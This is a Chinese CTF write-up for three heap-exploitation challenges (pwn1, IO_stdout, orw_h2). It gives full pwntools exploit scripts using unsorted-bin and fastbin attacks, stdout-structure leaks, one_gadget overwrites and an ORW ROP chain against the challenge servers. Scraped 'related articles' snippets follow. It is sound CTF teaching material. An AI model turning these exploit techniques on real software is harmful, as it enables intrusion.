[JSMSA_CTF] 2023年12月练习题 pwn

一开始没给附件,还以为是3个盲pwn结果,pwn了一晚上没出来,今天看已经有附件了。

pwn1

  1. 在init_0里使用mallopt(1,0) 设置global_max_fast=0 任何块释放都会进入unsort
  2. 在free函数里没有清理指针,有UAF
  3. 将v6:0x100清0,便于写one
  4. 没有return退出,直接调用exit

思路是通过unsortAttack修改global_max_fast,使释放后的块能进入fastbin,然后再进行fastbinAttack利用错位在malloc_hook写one,如果是盲pwn的话还真不容易完成,主要问题在于当使用unsort泄露libc地址时,无法准确的确定具体版本,也就得到不正确的one,所以可以确定是出题人忘别附件了。

from pwn import *#p = process('./pwn1')
p = remote('36.152.17.3', 10026)
context(arch='amd64', log_level='debug')libc = ELF('./libc-2.23.so')
elf = ELF('./pwn1')def add(size):p.sendlineafter(b">> ", b'1')p.sendlineafter(b":", str(size).encode())def free(idx): #uafp.sendlineafter(b">> ", b'2')p.sendlineafter(b"index: ", str(idx).encode())def edit(idx, msg):p.sendlineafter(b">> ", b'3')p.sendlineafter(b"index: ", str(idx).encode())p.sendafter(b":", msg)def show(idx):p.sendlineafter(b">> ", b'4')p.sendlineafter(b"index: ", str(idx).encode())add(0x80)
add(0x60)
add(0x60)
add(0x60)
free(0)
show(0)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x68 - libc.sym['__malloc_hook']
print(f'{ libc.address = :x}')edit(0, flat(libc.sym['__malloc_hook']+70, libc.sym['__free_hook']+0x40-5)[:-1]+b'\n')
add(0x80)free(1)
edit(1, p64(libc.sym['__malloc_hook'] - 0x23)+b'\n')
add(0x60)
add(0x60) #6
edit(6, b'A'*3 + flat(0,0,libc.address + 0xf1247)+b'\n')
add(8)
p.interactive()

pwn2 IO_stdout

通过名字可知,是练习stdout的攻击

  1. 没有show
  2. edit有写溢出
  3. free有UAF
  4. PIE 保护打开
  5. got表全保护
  v4 = __readfsqword(0x28u);sub_A90();memset(v3, 0, 260);while ( 1 ){while ( 1 ){sub_B1C();_isoc99_scanf("%d", v3);if ( v3[0] != 2 )break;m2free();}if ( v3[0] > 2 ){if ( v3[0] == 3 ){m3edit();}else if ( v3[0] == 4 ){exit(0);}}else if ( v3[0] == 1 ){m1add();}}

思路:

在得到unsort后,通过修改fp在址后两字节为x5dd(半字节未知需要爆破),利用错位在_IO_2_1_stdout_有前方临近位置建块修改io_write_ptr尾字节,泄露libc。 在得到libc后同样修改这两个地址ptr和end泄露environ地址,然后再写一个栈地址可以泄露加载地址。由于栈内错位有一定难度,所以这里选去控制指针区,所以用到程序加载地址。在指针区前边利用stderr的指针错位建块控制指针,写入edit函数ret的地址,在ret写one

from pwn import *context(arch='amd64', log_level='debug')def add(size, msg=b'\n'):p.sendlineafter(b">> ", b'1')p.sendlineafter(b"Length of game description:\n", str(size).encode())p.sendafter(b"Game description:", msg)def free(idx):p.sendlineafter(b">> ", b'2')p.sendlineafter(b"game index: ", str(idx).encode())def edit(idx,msg):p.sendlineafter(b">> ", b'3')p.sendlineafter(b"game index: ", str(idx).encode())p.sendlineafter(b"Length of game description:", str(len(msg)).encode())p.send(msg)def doit():libc = ELF('./libc-2.23.so')elf = ELF('./IO_stdout')#add(0x18)add(0x28)add(0x60)add(0x60)add(0x60)edit(0, p64(0)*3 + p64(0xa1))free(1)free(2)add(0x28)#main_arena->_IO_2_1_stdout_ - 0x33edit(2, b'\xdd\x55')add(0x60)add(0x60) #7edit(7, b'\x00'*0x33 + flat(0xfbad1880, 0,0,0)+ p8(0))libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) +0x20 - libc.sym['_IO_2_1_stdout_']print(f"{ libc.address = :x}")assert libc.address >> 40 == 0x7f edit(7, b'\x00'*0x33 + flat(0xfbad1880, 0,0,0)+ flat(libc.sym['_environ'], libc.sym['_environ']+8))stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - (0xfa8 - 0xd88)  #editretprint(f"{ stack = :x}")edit(7, b'\x00'*0x33 + flat(0xfbad1880, 0,0,0)+ flat(stack, stack+8))p.recvuntil(b'Edit Game description:')elf.address = u64(p.recv(8)) - 0xfc6print(f"{ elf.address = :x}")edit(7, b'\x00'*0x33 + flat(0xfbad2887))pop_rdi = elf.address + 0x0000000000001043 # pop rdi ; retbin_sh = next(libc.search(b'/bin/sh\x00'))system = libc.sym['system']free(3)edit(3, p64(elf.sym['stderr'] -3))#gdb.attach(p, "b*0x0000555555400f15\nc")add(0x60)add(0x60, b'\x00'*3 + flat(0,0, stack)[:-1]+b'\n')edit(0, flat(pop_rdi+1, libc.address + 0x45226)+ p64(0)*14)p.sendline(b"cat flag")p.interactive()  #p = process('./IO_stdout')
p = remote('36.152.17.3', 10027)
doit()

pwn3 orw_h2

这个增删改显示都有了,只是限制了execve 要求用orw

  1. free有UAF

思路:

通过建大块free到unsort再show得到libc .将块建到environ泄露栈地址,找到ret位置,然后写ROP

from pwn import *#p = process('./orw_h2')
p = remote('36.152.17.3', 10028)
context(arch='amd64', log_level='debug')libc = ELF('./libc-2.31.so')
elf = ELF('./orw_h2')def add(size,msg=b'A'):p.sendlineafter(b">> ", b'1')p.sendlineafter(b"Length of game description:", str(size).encode())p.sendafter(b"Game description:", msg)def free(idx): #uafp.sendlineafter(b">> ", b'2')p.sendlineafter(b"game index: ", str(idx).encode())def edit(idx, msg):p.sendlineafter(b">> ", b'3')p.sendlineafter(b"game index: ", str(idx).encode())p.sendafter(b"Edit Game description:", msg)def show(idx):p.sendlineafter(b">> ", b'4')p.sendlineafter(b"game index: ", str(idx).encode())add(0x430)
add(0x168)
add(0x168)
add(0x168)
free(0)
show(0)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f'{ libc.address = :x}')free(1)
free(2)
edit(2, p64(libc.sym['_environ']-0x10))
add(0x168)
add(0x168, b'A'*0x10) #5show(5)
p.recvuntil(b'A'*0x10)
stack = u64(p.recv(6).ljust(8, b'\x00')) - (0xfb8-0xd88)
print(f"{stack = :x}")pop_rdi = libc.address + 0x0000000000023b72 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002604f # pop rsi ; ret
pop_rdx = libc.address + 0x000000000015f7e6 # pop rdx ; pop rbx ; ret
pop_rax = libc.address + 0x0000000000047400 # pop rax ; ret
syscall_ret = libc.sym['getpid'] + 9
flag_addr = stack+0x100rop = flat(pop_rdi, stack+0x30, pop_rsi, 0, pop_rdx, 0,b'/flag\x00\x00\x00', pop_rax, 2, syscall_ret)
rop+= flat(pop_rdi,3, pop_rsi, flag_addr, pop_rdx, 0x100,0, pop_rax,0, syscall_ret)
rop+= flat(pop_rdi,1, pop_rax, 1, syscall_ret)free(1)
free(2)
edit(2, p64(stack))
add(0x168)add(0x168, rop)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/208273.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

甘草书店:#10 2023年11月24日 星期五 「麦田创业分享2—世界奇奇怪怪,请保持可可爱爱」

今日继续分享麦田创业经验。 如果你问我,创业过程中是否想过放弃。那么答案是,有那么一次。 那时想要放弃的原因并不是辛苦没有回报,或是资金短缺,而是没能理解“异见者”。 其实事情非常简单,现在反观那时的自己&a…

实例解析关于兔鲜登录tab栏切换案例详细讲解!

文章目录 文章目录 效果图展示 整体制作的一个思路 代码展示 技术细节 小结 效果图展示 点击账户登录显示登录的模块&#xff0c;点击二维码登录显示二维码的模块 整体制作的一个思路 点击哪个模块哪个显示&#xff0c;另外一个模块让它隐藏即可&#xff01; 代码展示 <!…

好莱坞明星识别

一、前期工作 1. 设置GPU from tensorflow import keras from tensorflow.keras import layers,models import os, PIL, pathlib import matplotlib.pyplot as plt import tensorflow as tfgpus tf.config.list_physical_devices("GPU")if gpus:gpu0 …

动态规划——完全背包问题(公式推导,组合、排列)

本文章是对于完全背包 一些题型(如题目所示&#xff0c;组合、排列和最小值类型)的总结和理解&#xff0c;依次记录一下&#xff0c;方便回顾与复习。 本文章是基于个人所总结 实现的&#xff0c;但在其中遇到了一些疑惑与困难&#xff0c;所以总结一篇与完全背包相关的问题。 …

Spring基于注解开发

Component的使用 基本Bean注解&#xff0c;主要是使用注解的方式替代原有的xml的<bean>标签及其标签属性的配置&#xff0c;使用Component注解替代<bean>标签中的id以及class属性&#xff0c;而对于是否延迟加载或是Bean的作用域&#xff0c;则是其他注解 xml配置…

四招打造完美分层自动化测试框架,让测试更高效!

写在前面 我们刚开始做自动化测试&#xff0c;可能写的代码都是基于原生写的代码&#xff0c;看起来特别不美观&#xff0c;而且感觉特别生硬。 来看下面一段代码&#xff1a; 具体表现如下&#xff1a; driver对象在测试类中显示 定位元素的value值在测试类中显示 定位元素…

Navicat 技术指引 | 适用于 GaussDB 分布式的用户/权限功能

Navicat Premium&#xff08;16.3.3 Windows 版或以上&#xff09;正式支持 GaussDB 分布式数据库。GaussDB 分布式模式更适合对系统可用性和数据处理能力要求较高的场景。Navicat 工具不仅提供可视化数据查看和编辑功能&#xff0c;还提供强大的高阶功能&#xff08;如模型、结…

干货:软文推广中的关键词类别有哪些?

软文推广如果想要增加文案曝光率&#xff0c;seo是其主要的传播方式之一&#xff0c;因而好的关键词十分重要&#xff0c;这里的关键词指得是针对搜索引擎而言&#xff0c;由用户输入搜索引擎框中的提示性文字&#xff0c;只要关键词设置得好&#xff0c;软文就能通过搜索引擎精…

因为 postman环境变量全局变量设置好兄弟被公司优化了!

postman环境变量、全局变量设置 在公司中&#xff0c;一般会存在开发环境、测试环境、线上环境等&#xff0c;如果需要在不 同的环境下切换做接口测试&#xff0c;显然我们需要把所有接口的域名进行修改&#xff0c;如果接 口测试用例较多&#xff0c;那么修改会非常费力&…

Python与ArcGIS系列(十五)根据距离抓取字段

目录 0 简述1 实例需求2 arcpy开发脚本0 简述 在处理gis数据的时候,会遇到这种需求:将一个图层与另一个图层中相近的要素进行字段赋值。本篇将介绍如何利用arcpy及arcgis的工具箱实现这个功能。 1 实例需求 为了介绍这个功能的实现,我们需要有一个特定的功能需求。在这里选…

L1-019:谁先倒

题目描述 划拳是古老中国酒文化的一个有趣的组成部分。酒桌上两人划拳的方法为&#xff1a;每人口中喊出一个数字&#xff0c;同时用手比划出一个数字。如果谁比划出的数字正好等于两人喊出的数字之和&#xff0c;谁就输了&#xff0c;输家罚一杯酒。两人同赢或两人同输则继续下…

Axure网页端高复用组件库, 下拉菜单文件上传穿梭框日期城市选择器

作品说明 组件数量&#xff1a;共 11 套 兼容软件&#xff1a;Axure RP 9/10&#xff0c;不支持低版本 应用领域&#xff1a;web端原型设计、桌面端原型设计 作品特色 本作品为「web端组件库」&#xff0c;高保真高交互 (带仿真功能效果)&#xff1b;运用了动态面板、中继…

使用pytorch查看中间层特征矩阵以及卷积核参数

这篇是我对哔哩哔哩up主 霹雳吧啦Wz 的视频的文字版学习笔记 感谢他对知识的分享 1和4是之前讲过的alexnet和resnet模型 2是分析中间层特征矩阵的脚本 3是查看卷积核参数的脚本 1设置预处理方法 和图像训练的时候用的预处理方法保持一致 2实例化模型 3载入之前的模型参数 4载入…

Pandas操作数据库

一&#xff1a;Pandas读取数据库数据 二&#xff1a;Pandas读取海量数据 三&#xff1a;Pandas向数据库存数据 四&#xff1a;Pandas写入海量数据

上海宝山区12月8日发生一起火灾 火势已扑灭 揭秘AI如何“救援”

在这个冬日的早晨&#xff0c;上海宝山区的居民经历了一场惊心动魄的火灾。幸运的是&#xff0c;火势很快就被扑灭了。但这起事件不禁让我们思考&#xff1a;如何更有效地预防和应对这样的紧急情况&#xff1f; 这时候&#xff0c;就不得不提到北京富维图像公司的一项创新技术—…

我的隐私计算学习——国密SM2和国密SM4算法

此篇是我笔记目录里的安全保护技术&#xff08;七&#xff09;&#xff0c;前篇可见&#xff1a; 隐私计算安全保护技术&#xff08;一&#xff09;&#xff1a;我的隐私计算学习——混淆电路-CSDN博客 隐私计算安全保护技术&#xff08;二&#xff09;&#xff1a;我的隐私计…

当下流行视频剪辑软件会声会影2024,让你的视频制作更精彩

大家好呀&#xff01;今天小编给大家介绍一款超赞的视频编辑软件——会声会影2024&#xff01; 当下流行视频剪辑软件会声会影2024&#xff0c;让你的视频制作更精彩&#xff0c;会声会影2024不仅提供了各种酷炫的特效和滤镜&#xff0c;还有更多令人惊叹的功能等待着你的发掘…

【STM32】蓝牙氛围灯

Docs 一、项目搭建和开发流程 一、项目需求和产品定义 1.需求梳理和产品定义 一般由甲方公司提出&#xff0c;或由本公司市场部提出 需求的重点是&#xff1a;这个产品究竟应该做成什么样&#xff1f;有哪些功能&#xff1f;具体要求和参数怎样&#xff1f;此外还要考虑售价…

[Python从零到壹] 七十三.图像识别及经典案例篇之图像去雾ACE算法和暗通道先验去雾算法实现

十月太忙&#xff0c;还是写一篇吧&#xff01;祝大家1024节日快乐O(∩_∩)O 欢迎大家来到“Python从零到壹”&#xff0c;在这里我将分享约200篇Python系列文章&#xff0c;带大家一起去学习和玩耍&#xff0c;看看Python这个有趣的世界。所有文章都将结合案例、代码和作者的经…

更多内窥镜维修技能学习与交流可关注西安彩虹

内窥镜结构及光学成像原理 众多品牌的硬镜其内部结构基本相似&#xff08;如下图&#xff09;&#xff0c;最关键的在于不同用途的硬镜在其结构上发生变化&#xff0c;包括光学成像系统和机械结构。光学成像系统由物镜系统、转像系统、目镜系统三大系统组成。 工作原理 被观察…